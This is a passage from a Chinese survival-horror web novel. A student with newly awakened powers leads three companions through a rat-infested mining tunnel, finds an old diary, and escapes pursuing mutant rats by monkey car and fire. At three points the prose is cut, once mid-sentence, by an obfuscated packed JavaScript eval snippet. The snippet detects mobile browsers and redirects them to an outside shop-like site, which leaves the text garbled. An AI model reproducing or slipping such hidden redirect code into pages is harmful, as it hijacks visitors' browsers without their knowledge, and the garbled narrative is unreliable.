虽然不知道云霄南的操纵时间可以做到什么程度,但时间的一部分就是信息差,她的全知能力替她获得了不少信息,要骗人并不是难事。 她向三个人介绍了学分的构成和进化定律。 为了真实性,她保留了那些她还不知道答案的信息。 当然,有关于教室内的新势力和老师被杀的消息,她并不打算透露。这些人已经承受足够多的死亡压力了,不必要再给她们施加威胁。 “未知的第四条途径和100分……你是说你的能力受到了限制,还有待开发,那你知道要怎么开发吗?”竹女托腮思考着。 “那你是不是可以穿越回过去,就不用来这鬼地方了!”常乐立刻替她指了条康庄大道。 黎歌苦笑道:“我现在只是掌握了入门,需要更多进化的时间才行,很多事情我也没有方法和答案。况且,祝福能力会附带些副作用,比如,我的命和你们的命是相连的,你们当中再有任何一个人死亡,我就会死。” “化妆师被鼠虫杀死的时候,我因为通感能力而剧痛,从天花板上掉了下来,险些丧命,这可以证明我没有撒谎。” “所以,你们不用担心我会用祝福能力对你们做什么。” 脆弱的眼神望着竹女。她自认把分寸感拿捏得刚刚好,在九成的真话里杂揉了不过一点点自保的谎言。当然,她并不指望三言两语可以虏获所有人的信任,她只需要将她们此时完全封闭的内心,撬开一丝裂缝。 竹女的语气有了些许犹豫:“我……我不是怀疑你,我只是想要知道真相。” “对不起,是不是我们拖累了你?”常乐后知后觉,那些她不解的逻辑都联系在一起之后,善良地生出了愧疚之心。 就像现在这样,生造出一条缝隙。 然后,往里头填入一枚种子。 “不,恰恰相反。”黎歌按捺住想要上扬的嘴角,铺垫已经足够了,她将亲手种下这颗完美的谎言种子,“在我看到的未来里,我离开了这里,回到了厦城,在路口跟你们一一道别。命运大概想让你们和我一起离开。” “我可以活着离开这里?”班长终于抬起了头,沙哑着嗓音跟黎歌确认。 “真好。”常乐弯着眼睛笑了。 竹女的肩膀肉眼可见地松了劲:“太好了,这个糟践生命的世界,我一秒也不想多待了。” 要有希望。 如果没有希望,就创造希望。 至此,黎歌悬着的心放了下来。 竹香味再度浓郁起来:“我叫霍青山,今年32岁,是一名人民警察。谢谢你,虽然我已经道过谢了,但我知道那不够郑重。” 霍青山笔挺地站着军姿:“我在队内比武大赛拿过第一名,能打,抗摔。你是祝福者,你比我更强大,你需要我做什么,我会听从你的指挥、为你所用。” 常乐也跟着表态:“我平时有健身的爱好。虽然我健康有点问题……但我发誓我绝对不会拖你后腿!” 等下。 为什么感觉气氛突然肉麻起来了…… 黎歌忍不住补充:“倒不必发誓,我们只是合作关系。我想要回去上大学,你们也各自有要回去的理由。” “信任是合作的基石,你需要我们信任你,我们也需要你的信任,相信我们不会拖累你。一起离开这里吧。” 霍青山的话说得十分认真。 见好就收,话再多下去,恐怕容易露馅。黎歌抿了抿嘴唇,道:“行,那就跳过中间的步骤,我们直奔主题。” 她尝试动了动脚踝。 不到2秒,她闪现在体育馆后面。489号防空洞是一道圆形的管道,一道阶梯往下延伸,消失在光的尽头,伸手不见五指。洞口有一圈凹槽,隐藏着自动闭合的金属门。 她指着防空洞,朝另一端扬声道:“我们从这里离开。” 霍青山:“?” 常乐:“??” 常乐迟疑地往身后指:“回教室的门,不是那一扇吗?” “那只鼠虫是从防空洞钻出来的,里面很可能是它们的老巢。”霍青山提醒道,同时疑惑,虽然只有短暂几句对话,但黎歌的聪明她心里有底,她不认为她不知道。 “路上再解释。”黎歌看了看倒计时。 云霄南预言他们会死在体育馆内。 如果他们现在就离开体育馆,预言岂不是不攻自破? 更何况,她没有第二条选择。下课铃一响,那个癫公闯入体育馆的第一件事就是追杀她。 他追,那她就逃。黎歌板起脸来。 进入防空洞之前,她最后看了眼化妆师的尸体,她唯一不知道姓名的人。 好黑。 这是黎歌第一感观。 管道的直径约为2m,不算窄。光亮处隐约能看到金属阶梯有锈迹,要是摔倒划伤了,得破伤风的风险极高,她只能确保每一步尽量踩得结实,往下走。 “等等我们。”伴随着一声喊,常乐搀扶着霍青山,很快跟进了防空洞。 “很干燥的空间。”霍青山跳进空间内,打量了一圈,简单判断,“老鼠喜好阴湿,这里离他们的水源应该还有一段距离。” 说明短时间内他们不会碰到危险。常乐好奇地问:“那它怎么会从这里钻出来?” “那道金属门可能有特殊设计,能够释放一些讯息,类似于,过路的鼠虫你好啊,这里是体育馆,这里有食物。”霍青山猜测。 黎歌:“……”画面感太强了。 一直以为人民警察都是正儿八经的性格,但只言片语能看得出来,霍青山在生活中应当是个有趣的人。 她回头,见到霍青山身后,班长也跟了进来。 班长动作似乎有些局促,五官在昏暗中模糊不清:“我叫方京华,我不敢一个人留在体育馆,我想跟着你们……” 没有人接话。 “大家把校服的领子拉起来,捂住口鼻,袖子裹住手。不确定鼠虫的巢穴有多少致命病菌,尽量做好防护。我在前面领路,你们别滑倒,别受伤,毕竟我们没有医疗药品。” 霍青山提醒道。 她自然而然地就走到了队伍的最前面,连带着常乐一起。 防空管道走到了尽头,一条长长的隧道出现在眼前。 隧道的空间开阔了许多,挨着墙的这端是操作台。锈迹斑斑的机器悬挂在墙上,复杂的红绿按钮排布其上,蛛网四结,闸刀开关静谧地沉睡在丝线里。 黎歌用校服裹着手,做好防护后将闸刀拉了下来。 电器低频地震动,两秒后,电流顺着墙上纵横的电路轨道,唤醒了光明。 太好了,电路居然可以正常使用! 映入眼帘的空旷区域中,天花板盘虬着金属轨道,延伸向远处,隐入黑暗之中。轨道垂下一条条铁海带,末端焊接着高低错落的两个宽铁块。 黎歌在电视上见过,这种装置叫做“猴车”,是一种载人工具,通常应用在矿区内,方便矿工进出。 矿区吗…… 有了光和电,控制台上的显示屏亮了起来。加载的读条刚刚走完,屏幕出现一颗巨大的感叹号。 【九章:警告,你已闯入鼠虫虫域,虫域内污染指数3星,请尽快离开!】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616111|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是它。黎歌凑近控制台,这是台老式计算机,找不到鼠标,有个类似摇杆的设计可以操控显示屏上面的光标。 跳过安全提示以后,一张3D地图出现在界面上。复杂得无法分辨方位……如果说长长的一道代表着隧道,它们几乎以立体的方式纵横交错。有些隧道连接着小房间,大概率是功能区。这里用符号代替着文字,筷子可能是餐厅,药瓶有可能是医务室,也可能是实验室,铲车样式的标志倒是可以简单地分辨是作业区。 当中,几乎在每个功能区,都有一片房间上标记一根横线,横线上放置着一颗球。 “跷跷板?”常乐看得十分困惑。 霍青山分析道:“假设这里是个可以完全自给自足的小社会,应该要有粮仓,或者种植区,运用排除法,这个符号和食物相关的可能性很大。” 有道理。黎歌点点头。与此同时常乐问:“这里是鼠虫的窝,还能找到食物吗?耗子生来会打洞,会不会早把东西吃光了?” 没有答案的线索先视为有效线索。黎歌尝试记忆这些地图。 识海自动出现了一片片暗区,陈列在两个已开启的虫巢旁边。 看来虫巢天赋的开启条件就是解锁地图?有这个可能性,第一次收到骨文关于虫巢的提示时,恰好是预备要离开人虫教室的时候。体育馆情况也雷同。 也就是说,如果她把鼠虫的虫域都走一遍,可能可以在脑海里将它复刻出来。 几人四下搜查着,企图能搜出些有利的信息。霍青山打开了控制台下方虚掩的铁柜,运气很好,她陆续从里面掏出好几个工具,刚好一人一件,可以作为防身武器。 “给。”霍青山递过来一个扳手,还有一本书。 书泛着发霉的臭味,十分陈旧,封面都是陌生文字,跟操作台上的文字雷同。 这里的人不使用中文、英文甚至骨文。 常乐和方京华一并围观了过来。书被打开了。入眼是被啃食得密密麻麻的虫洞,一粒粒乳白的肉虫堆叠在一起蠕动着,发出嘶嘶的咀嚼声…… “……!”霍青山条件反射把它合上了,而常乐也在瞬间捂住了眼睛,紧咬着牙才没叫出声。 “原来书虫是真的存在的!”常乐感觉自己浑身长起了鸡皮疙瘩。 黎歌刚才的注意力有一半在记忆地图上,只是扫了眼书里的内容,突然眼前一亮:“给我。” “全是虫子,小孩,你得做好心理准备。”霍青山好心提醒了下。 黎歌忽略掉她的称呼,蹲下来,拿着书对着地板敲了敲,把书虫从里面抖出来。扉页被打开,千疮百孔中还保留着几只书虫翻滚着,但更显眼的内容很快吸引了她们注意力。 因为,那是一串中文! 【1989年7月1日星期六闷 挖不完的隧道,监不完的工,无聊得要发霉了。饿饿饿饿饿…… 葫芦娃和奥特曼到底谁更强,好难猜啊!】 这位记录者也是穿越者! 这可能是操作台的说明书,或者是员工训练手册,黎歌无从辨别,因为书里都是陌生文字。而记录者在边角的位置,用中文信手涂鸦写日记,打发ta的无聊时光。 在大量的无效信息中,手册的末尾,记录者的字迹突然变得十分凌乱。 【1992年12月27日星期六绝望 鼠疫攻陷了第一基地。盟军与人虫彻底决裂,强迫我们这些平民人虫出战,我很快就会死。如果死亡可以让我们的痛苦结束,这算不算是happyending?说起来我还没有看完楚留香的大结局呢,赵雅芝可真漂亮啊……】 霍青山震惊:“1989……也就是早在36年前甚至更早,就已经有人穿越过来了!” “还有其他物件被留下吗?”黎歌追问。这位记录者很聪明,直觉告诉她,记录者会想办法留下更多有效信息。 霍青山听罢,再次蹲下身往铁柜里面搜索。此时,手指在昏暗中摸索,突然触碰到一团软绵绵又热乎的生物。 被惊醒的老鼠从柜子中窜了出去! “啊!”方京华和常乐吓得一蹦三尺。 黎歌也被吓着了,倒不是老鼠,主要是另外三个人短促的喊声。她后知后觉才发现那是老鼠,低头看到霍青山仍旧蹲着,问道:“你们看清楚了吗?” 方京华尝试搭话:“好像是田鼠。” 其他人没有接她的话,气氛有短暂的凝固,过了会儿常乐看向黎歌:“就是田鼠,尖嘴,长尾巴,会吱吱叫的那种,就是颜色好像不太对。” “可能这里的老鼠并不是都能变异成鼠虫……”霍青山说着话,声音突然变得有些奇怪。 黎歌见她仍旧保持蹲着的姿势:“你在掏什么?” 短暂的停顿后,霍青山把手拿了出来:“你们……做好心理准备。” 微黄的灯光下面,掌心中,一群肉团蠕动着。刚出生不久的幼鼠们尚未长出毛发来,舞动着爪子和尾巴,宛如肉粉色的虫子在翻滚着。 有些奇怪。黎歌凑近了一点,拿扳手拨了拨肉团:“幼鼠会长内脏吗?” “当然,没有内脏就死了。” “但它们还活着。” 黎歌说完,霍青山硬着头皮凑近了观察,发现这些肉团的腹部果然是空的,里面仅剩一根粉嫩的脊柱,贴着鼠背生长。 大约察觉到了人的气息,十几双鼠眼睛裂开了缝隙,睁开猩红的瞳孔。 11. 第一基地11 “……”霍青山毫不犹豫地把它们抛了出去! 肉团子砸在金属墙上,留下一片血印。 “变异了,虽然跟体育馆那只长得不一样,但明显不是正常老鼠的形态。”霍青山反复地擦拭着她的掌心,忍不住问黎歌,“你为什么不怕?” 黎歌盯着墙上的血渍,又回头看了看来时路,通向上方的管道已经透不出一丝光线。她问:“为什么它选择在这里生产?” 问题被忽略了……霍青山感觉自己有点跟不上这个高中生的思维:“我也刚到,它没告诉我。” 常乐笑了。这时候并不适合笑,奈何有人开玩笑。 总有这样一群人,他们知道如何在紧张的时刻开解自己,即便在糟糕的处境中,也能保持乐观的心态。 黎歌正要开口,视线突然顿住了,三人顺着她的视线,这才发现操作界面的文字不知道什么时候刷新了。 【九章:鼠虫已被击杀,结算总学分120分。存活4人,依据第一基地人虫训练手册,将学分进行平均分配。】 【九章:1617号、002号、615号、566号各获得30学分,学分为60.5,60.5,60.5,60.5。】 “难道是我刚才摔死的那些小老鼠?”惊讶之余,霍青山几乎可以肯定这个答案。 “12只,意味着每只10个学分。”常乐硬着头皮算了算墙上的血迹,朝黎歌看过来,“它们好像和体育馆那只鼠虫的学分是一样的?” 胜利的烟花几乎炸在了眼前。 事情竟然如此简单? “这是不是意味着,我们并不需要去杀那些危险系数很高的鼠虫,掏一掏鼠窝,一样可以凑够学分?”霍青山畅想着,常乐凑过来,两人开始讨论去哪里找到这样的鼠窝。 总觉得哪里不对。 所以,它为什么选择在这里生产? 黎歌顺着问题思考,分析道:“生物在野外繁衍的本能,应该会避开天敌,其次是靠近水源和食物。这里是它们的虫域,不存在天敌,作业区看不到水源,那么只剩一种可能性。” “这里靠近食物。”黎歌望向体育馆的位置。 常乐暂停了和霍青山的讨论,追问:“你是说这群老鼠吃人……肉?!” 黎歌想了想:“这已经不是秘密了。我担心的是另一件事。” “在一个废弃的防控管道里的固定位置,随时会出现新的食物,会导致什么?” “会导致什么?”常乐疑惑地问。 扳手轻碰着金属柜子,霍青山开始跟上黎歌的思路:“鼠群会聚集在附近,觅食,繁衍,鼠窝的老鼠性成熟后,又繁衍出新的鼠窝……” 几人的脸色有了不同程度的变化。 一阵诡异感再度涌上了心头,逐渐具化成了响动,咯吱咯吱,窸窸窣窣…… 不对!常乐抱紧了自己的胳膊:“你们有没有听到什么声音?” “什么东西在朝我们靠近!”霍青山握紧了她的新扳手武器,倚着拐杖,四下寻觅声音的来源。 源源不断的动静令人生出了极度反感的情绪,常乐的声音不可遏制地发抖:“我们是不是回体育馆躲一躲?” 吱吱的叫声在空荡的隧道内交织。 伴随着金属摩擦的声音。 它们是进化永恒的幸存者,拥有恐怖的繁殖能力,仅一对老鼠就足够生出由上千只老鼠构成的庞大族群。 它们无处不在。可能钻过臭水沟,翻过腐尸遍野的战壕,转眼就爬上了人类装点着鲜花烛光的浪漫晚餐,然后抖动着它们灰褐色的毛发,抖落大量的病毒,鼠疫、汉坦病毒等等,不费吹灰之力可以做到屠城。 人类对老鼠的恐惧,就像怕蛇一样,是刻在了基因里的。 鼠疫,记录者写下了这两字。 曾经在全球杀死过七千万人类的恐怖疫病,又叫黑死病。发病者表现为谵妄、皮肤瘀斑出血、败血症等等,死亡率一度高达50%。 黎歌的额头渗出了汗水,她的目光散落在隧道各处,试图找到一个可以让她们藏身的地方。 不能回体育馆,一旦回去就会被困住,会撞上云霄南。 逃吗?对她来说轻而易举,她可以背着霍青山,但另外两个人就无法被兼顾上。 只剩一个办法。 黎歌迅速转过身,视线在操作台复杂的按钮中梭巡着。 “你在找什么?”常乐焦急地问。 “猴车的启动键。”黎歌头也不回地答道,“坐猴车离开这里,你们不想要知道怎么离开这里吗,答案不可能会在体育馆内……” 操作台的按钮非常之复杂,密密麻麻,有长有短,除了极易辨识的屏幕按钮以外,其余大小都各自雷同。 为了方便操作员分辨它们的职责,有人贴心地贴上了文字标注。 坏消息是,黎歌看不懂。 “让我看看。”一道试探性的声音在她身后响起,方京华在旁边站了有一会儿,选择了出声。 她将碎发拨到耳后,露出简洁干练的面容,努力扮出一丝镇定和讨好:“我,我能看懂一些阿拉伯文,西班牙文,印尼文,和简单的越南文,另外,我是个销售,主要对接工程项目,包括煤矿,所以我对这些设备还算比较了解。让我试试……可以吗?” 黎歌果断地让出了位置。 简单地扫了几眼后,方京华道:“刚才我有注意到这些文字,它好像是由不同的文字拼接起来的。我不能百分百确认,但是有一部分近似越南语,最接近启动键的应该是这个。” 她指了指一颗红色按钮。 没有时间了,不等众人犹豫完,黎歌直接将它摁了下去。 机械传动的声音在头顶响起,猴车缓缓醒来,朝上客区驶来。 “先上猴车,”霍青山跳到了众人的最后面,催促着她们进入上客区,“大家抓紧,我有不祥的预感,刚才逃走的鼠虫可能通风报信去了。” 密密麻麻的动静从四面八方传来,恐惧感一层层叠加,直到撞到他们的嗓子眼。 她们一一坐上了猴车。铁疙瘩坐起来几乎与舒适不沾边,谨防坠落,众人只能紧紧地抱住眼前的铁杆。 数秒后,鼠潮从刚才操作台的上方倾泻而下! 仿佛涌动的河流,一颗颗尖尖的鼠虫脑袋窜动着,爬过那些幼鼠的尸体。但凡晚几步,这些鼠虫就会摔在她们头顶! 鼠潮分成了两部分,一小部分朝体育馆的方向去,另一股则紧追着猴车来了。 那是一只硕大的鼹鼠鼠虫,与体育馆那只可怖的鼠虫体型相差无几。皮毛里有东西涌动着,一颗颗,一粒粒,像蠕动的肉疙瘩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616112|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 仔细一看,却是一只又一只无毛鼠虫。它们的腹部都是空的,仅剩脊柱与皮毛连着…… “吱吱吱吱——” 鼠叫声在金属通道中回荡着。 一只无毛鼠从鼠虫皮肤里站了起来,纵身一跃,裸露的肚皮在风中变成了翼膜,使它往前滑翔出了一段距离。 霍青山拎起扳手,将几乎就要飞到脸上的无毛鼠打了下去! 它们居然会飞! “唉!”惯性的作用差点把霍青山带了出去,她惊出冷汗。此时她的姿势非常别扭,她用仅剩的那条腿死死的扣着猴车,伸出一只手固定住自己,才有办法空出战斗的手来。 她在队伍的最后面,与黎歌距离有1米,是伸手无法够到的位置。常乐和方京华在更前方心有余悸地看着她战斗。 “它们会不会追上来?”常乐密集恐惧症犯了,她感觉猴车和鼠群的距离在逐步缩短。可隧道里除了一两个切线的哨岗以外,根本没有可以躲藏的房间。 也没有人。她们好像进入了一座由鼠虫构成的巨大坟墓中。 此时,黎歌把眼睛闭上了。 【使用鼠虫技能【寻踪】】 她的视觉限制被瞬间解除! 眼皮上出现了一套透明地图。她透过隧道表面的金属,看到了里面的土壤,以及土壤中蠕动的虫子。 而就在下一个转弯的地方,另一批鼠虫开始集结,它们从隧道两边稀稀拉拉落下来,汇合在一起。 它们在前方等着她们,就像等一道旋转自助餐送到嘴边。 糟糕,马上就会陷入腹背受敌的状态! 后面还有霍青山顶着,但如果鼠群从前面进攻,方京华和常乐马上就会陷入险境。 【饥饿值:49(饥饿值持续下跌,战力值下降且进入不稳定态,请尽快进食)】 【战力值:35】 饥饿令寻踪仅仅持续了很短暂的时间。 她饿了。先前的体力支出和恐慌,消耗了她的能量,而且消耗速度远超乎了她的想象。她需要尽快进食。 要想其他人活下来,她必须保证自己的强大。 黎歌睁开眼,紧咬着后槽牙,面向身后的人开口:“霍青山,你把食物藏在了哪里?” 正全神贯注注意着鼠虫东西的霍青山,身形肉眼可见地僵了一下,声音带着些闪躲:“你这小孩,不叫声霍警官,好歹要叫声姐姐吧?” 黎歌已经锁定了她的校服腹部有异常的鼓囊处,没理会她的顾左右而言他:“体育馆后面的桌子上有水和食物,你去过那里,离开的时候,桌上是空的,只可能是你取走了。” “……有水?”常乐和方京华几乎是条件反射地咽了口水。 她们的嘴唇起皮了,身体对这个字出现了前所未有的渴求反应。 水和食物?她们从来不知道体育馆内有这些。 扳手高高抬起来,干净漂亮地又砸到了一只鼠虫。霍青山收拾完鼠虫,咬牙道:“不能给你。” “我现在很需要食物。”黎歌不可避免地有点急了。 霍青山握着扳手的那只手紧紧捂上校服拉链处,眼神锐利起来:“如果你要抢,我就松开手然后从猴车摔下去。我死了,你也会死,所以你最好不要抢。” 霍青山瞬间从黎歌的眼神里读到了攻击性! 12. 第一基地12 这令她不得不拉开与铁杆的距离:“等等,你曲解了我的意思!” 鼠虫们仍旧坚持不懈地追着他们,这种时候并不合适有争端。 但黎歌在刹那间想了3种可以抢夺食物的办法。 刚才,她没有听到任何说谎的味道。 也就是说,霍青山是真的想用死亡来要挟她。 霍青山少有得有些后悔。面前的队友太靠谱,以至于她时不时会忘了,黎歌不过才18岁,她阅历不深,且跟自己存在着代沟。 身为年长者,自己应该用更巧妙的方式去引导,而不是强硬地拒绝她的请求。霍青山迅速地解释:“你很早就发现我拿走了食物,但直到现在才开口,说明你并不担心我会独占食物。首先感谢你的信任,其次我猜测,大概率是因为你的祝福能力对你提出了进食的要求,我猜对了吗?我想问你,小孩,现在是你的穷途末路时刻吗?” “……我不确定。”黎歌回答。 霍青山进一步道:“在我们原来的世界,人可能会因为各种原因死去,但只有一种死法概率是最低的——那就是饿死。在大街上要钱有困难,但是要口饭吃的话,一定会有好心人伸出援手,还可以求助于政府。我们生活在粮食富足的时代,所以很难想象吃不上饭的苦日子,但你现在必须要想,我怀里的这些压缩饼干、肉罐头、水,有没有可能是我们在这个所谓鼠虫虫域唯一的食物。” 黎歌有点烦躁:“你说的这些我都知道。” 霍青山又问:“食物吃完了,下一步该怎么办,你确定可以找到新的食物吗?如果不确定,你再思考思考我刚才的问题,现在是你无计可施的时候吗?” 饥饿值下降一定程度上影响了黎歌的判断,但在霍青山穷追不舍的问题中,她逐渐冷静下来:“你说得对。” 霍青山确实将她一把拉回了现实——她不能确定饥饿值提升后,自己是不是就能想到解决的办法。食物是他们的希望之一,不应该现在就消耗掉。 “霍青山,后面这些鼠群可以交给你吗?”黎歌问。 霍青山有一种直觉,黎歌有解决办法了。 好快的情绪恢复能力……她几乎没有太多挣扎,就把她自己从失控边缘拉扯回来,现在的她看起来比自己更加冷静。 霍青山心中一片滚烫,她感觉自己久违找回了那年轻的、蓬勃向上的能量。 “当然,”霍青山斩钉截铁道,“坐着的老娘是无敌的。” 黎歌对她点点头:“我会回来接你。千万别被那几只会飞的鼠虫咬到了。” 霍青山意识到不对:“等等,你为什么强调后面的鼠群,难道前面也有危险?你想要做什么?” “找食物。先前的地图显示,这附近有一个补给站。” “……小孩,我以为刚才的话题已经算过去了。这都什么时候了,你还想着找吃的!现在最重要的事情难道不是找一个安全的避难所躲起来吗?” “不,现在最重要的事情是吃饭,”黎歌握紧铁杆,试着抬起脚踩上座位,打滑了两次,终于从位置上站了起来,“吃饱了,才有赢的可能。” 霍青山简直要被年轻人的思维折磨疯了:“如果那个地图是假的呢!如果补给站是空的呢!这关系着我们四个人的人命,你确定这个决策是正确的吗?” 霍青山还在说话,但黎歌并不是每个字都能听清。 她现在要思考很多东西。 比如她和常乐的距离大约一米,猴车在飞速往前,而铁杆则在不固定地晃动着。很难,但她必须要跳过去。 按照她们目前的时速,大概几分钟就可以跟前面的鼠虫撞上。她们现在被困在铁杆上,根本没有还手的力量。 不能够硬碰硬,更加不能被动,她进入虫域的目的是要找到阿尔法鼠,抱头鼠窜只会让后面的生存几率大大受影响。 一边思考,她控制住紧张得几乎要跃出嗓子眼的心跳,空出嘴巴来,回了三个字:“赌一把。” 她吸入一大口气,朝常乐的位置跳了过去。 那道抛物线稳稳当当地落在了理想的位置,而常乐下意识闭眼睛,还没有忘记伸出一只手来,把黎歌一条腿死死揽住,防止她坠下去。 “你吓死我了!”常乐挪出一块地方,够黎歌的脚有受力。 她仰头,看向站着的黎歌,又往后看了眼让她头皮发麻的鼠群,问:“现在要用打火机了吗?” 黎歌一愣,没想到她还记着这件事。 刚才在体育馆,如果她去点燃缓冲垫,凭借着火的威慑力,也能够给她自己争取一些生存机会。 如同即将溺亡的人,他们会抓住一切手边能够着的物件来求生。方京华和化妆师都在极度恐慌中,稀里糊涂就把从教室带出来的武器用了。至少丢出去那刻,他们是期待自己可以得到解救。 所以如果当时慌乱中常乐使用了打火机,黎歌也并不意外。承诺只是承诺而已。 她没用,黎歌也仅仅以为她忘了这个武器的存在…… 原来她只是因为没有得到授意。 黎歌问:“你想怎么用?” 常乐作出脱衣服状,指了指霍青山身后的鼠群:“拿校服当引燃物,丢下去烧死它们!” “猴车速度太快了,很可能砸不中它们。就算砸中了,它们鼠多势众,很快就可以把火碾灭。但这是个思路。” 黎歌若有所思,伸出了手:“东西给我。” 不确定到底行还是不行,但常乐没有作多余的辩解,毫不犹豫掏出了打火机,搁置在她手心里。 黎歌又问:“会用扳手吗?” 常乐点头:“会的,一个不懂修理的博主开不好房车。” 黎歌“嗯”了一声,嘱咐道:“那就好,等下有鼠虫从上面的吊轨爬过来,记得把它们打下去。” 常乐吃惊,眼神不自觉地往前看:“你看到未来的事情了?鼠群不是在后面吗?你是说正前方也有……” 不等她从自己嘴里得到肯定的回答,她的脸色已经发青了。一串鼠虫不知从哪里爬上了猴车的吊轨,迅速地从正前方向她们爬来! 没时间了。黎歌把打火机揣好,再度复刻了刚才的动作,从常乐的猴车离开,跳到了方京华的身边,拎着扳手就砸向第一只迎面飞来的鼠虫。 与此同时,方京华发出了刺耳的尖叫声:“啊!!!” 溺水者将手伸出水面,一把攥住了黎歌! 黎歌原就仅凭着脚尖支撑着身体,瞬间被方京华拉扯得失去了平衡。 但身体此刻超乎常人的韧性,令她在后仰的过程中找到了诡异的支点,攥住铁杆,双臂迸发出使她滞空的力量,二度飞跃回刚才的落脚点。 又是这样,又是这样!常乐把一切看在眼里,胸前的怒火忍无可忍:“姓方的,你有什么大病吧!谁帮你你就害谁?刚才是霍警官,现在是小黎歌,一次又一次,你带没带脑子?” 霍青山低声喝住了她:“常乐,你冷静下来。” “我冷静?”常乐无法理解霍警官的结论,怒火烧得更旺了,“我们凭什么要管她?她这种人,就让她去……” 最后一个字几乎要涌出牙缝了,可那个字对她来说过分艰难,硬生生吞了回去。 “她死了,小孩也会死。”霍青山的声音凿进了她愤怒的火池中,仿佛一个巨大的冰山倾倒下来,火池瞬间就平息了。 常乐偃旗息鼓,颓然道:“对不起,我居然忘了这么重要的事……” 霍青山望向黎歌的背影,即便有一万个不理解,但她按捺住了,咬牙道:“一个能打胜仗的队伍,只容得下一颗大脑。现在是她在思考,你和我必须接受她的选择。我们都需要冷静。” 混乱的噪音。 “对不起,对不起……”意识到自己刚才做了什么,方京华的大脑陷入了混乱,眼泪大滴大滴失控地涌出来,“我没有想要害你。我不知道为什么,我控制不了自己,我太害怕了……” 黎歌一把攥住她的衣领扯到眼前,语速飞快地问:“方京华,猴车的控制器旁边有三行文字,是不是指方向,哪个字是左?” “……是。”方京华一时间没有反应过来,她原以为黎歌会动手,黎歌是祝福者,想要报复自己简直轻而易举。 黎歌的问题二度楔入她的思维:“所以,哪个字是左?” “我,我没有百分百的把握,有一个封闭图形的应该是左,两个是右,剩下的指中间。” “行。”黎歌松开她。刚才,紧贴着自己小臂的胸腔被泪水濡湿,那枚跳动的心脏乱得不能再乱了。这让黎歌一阵头疼。方京华的年龄比她大了两轮,而她根本就没有安抚年长者的经验。 “会数秒吗?” “……什,什么?” “数30秒,一切就会结束。现在就开始数。” 黎歌说完话,也没时间管方京华听懂没听懂,咬牙跳下了猴车。 “1,2,3……”方京华一边哭,一边数数。她不知道自己数的标准不标准,但是不知道为什么,原来混乱到几乎窒息的心跳渐渐平复,一下又一下。 长久以来,她奉行的是求人不如求己的生活原则。但她开始理解那个娘娘腔男人临死前看向黎歌的眼神,那是信徒的叩问,期盼着他的神,将自己从绝境中拯救出去。 就像现在的自己。 “不要慌,看清楚,就好像打苍蝇一样,利用扳手最大的那一面,瞄准飞过来的鼠虫,看准了打过去!”霍青山指挥道。 没有人知道黎歌干什么去了。 现在的处境容不下任何杂念,她们只需要做好两件事,打飞鼠,和数秒。 飞驰中,一道分岔路出现在了不远处。顺着猴车吊轨的方向,一群鼠虫在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16616113|187761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右侧集结,成批地攀爬过来,数量之众让人不禁恶寒。 “14,15,16……” 在数到第16秒时,猴车恰好来到了分岔口,正在此时,吊轨出现轻微地振动,从右侧的轨道上移开,往左偏移,接上了左边的吊轨。 而左边的吊轨上空无一物,没有任何威胁! 上一秒,方京华感觉自己就要被前方的鼠潮淹没了,下一秒,转向后的猴车进入了最最静谧的隧道,那样得祥和,如果有天堂存在,一定就是长这般模样。 影子从哨岗里跃了出来,黎歌改变完猴车行进的方向后,以惊人的速度追赶上转向的猴车,喊道:“最后10秒,数完就往右手边跳,速度要快!” 三人不约而同地发现她把校服脱了,裹成一团抓在手里。里面的黑色无袖T恤被汗水粘黏在她身上,雪白的、从未经受过任何风霜的肌肤此时沾染了灰尘和蛛网,肌肉线条因为脏污而肉眼可见的一点点更加清晰,造物主正当着所有人的面,在改写她的基因。 她追上猴车,又超过了猴车,在几百米外停下来,把她的校服放置在吊轨的正下方。做完这一切的她转过身来,正对着她们三人,然后把手抬起来指向她左边的空间里。 好像在说:“数秒结束后,你们正好会落到这个地方,藏进去,你们就安全了。” 方京华和常乐立刻挣扎着从猴车上站起来,站好扶稳后,常乐突然想起什么,扭头紧张地看向霍青山:“霍警官,你能跳吗?” 只靠着一条腿,在疾驰的猴车上根本无法找到平衡,但霍青山并不想示弱,果断道:“能。” “27,28,29……30!” 黎歌蹲下身。 三个人同时间跳了下来,视线仅来得及看到一阵窜起的火光,光的传播速度远远快于声音,随后,在摔落地的瞬间,她们听到了鼠虫们被火炙烤的惨叫声。 常乐顾不上砸在地面上的擦伤,往右看,黎歌把自己当成缓冲垫垫在了霍青山的身后。不知道她受没受伤,但她几乎马上就爬了起来,把霍青山往自己背上拉,背着人跑了过来。 右边是一个类似于电梯模样的东西。 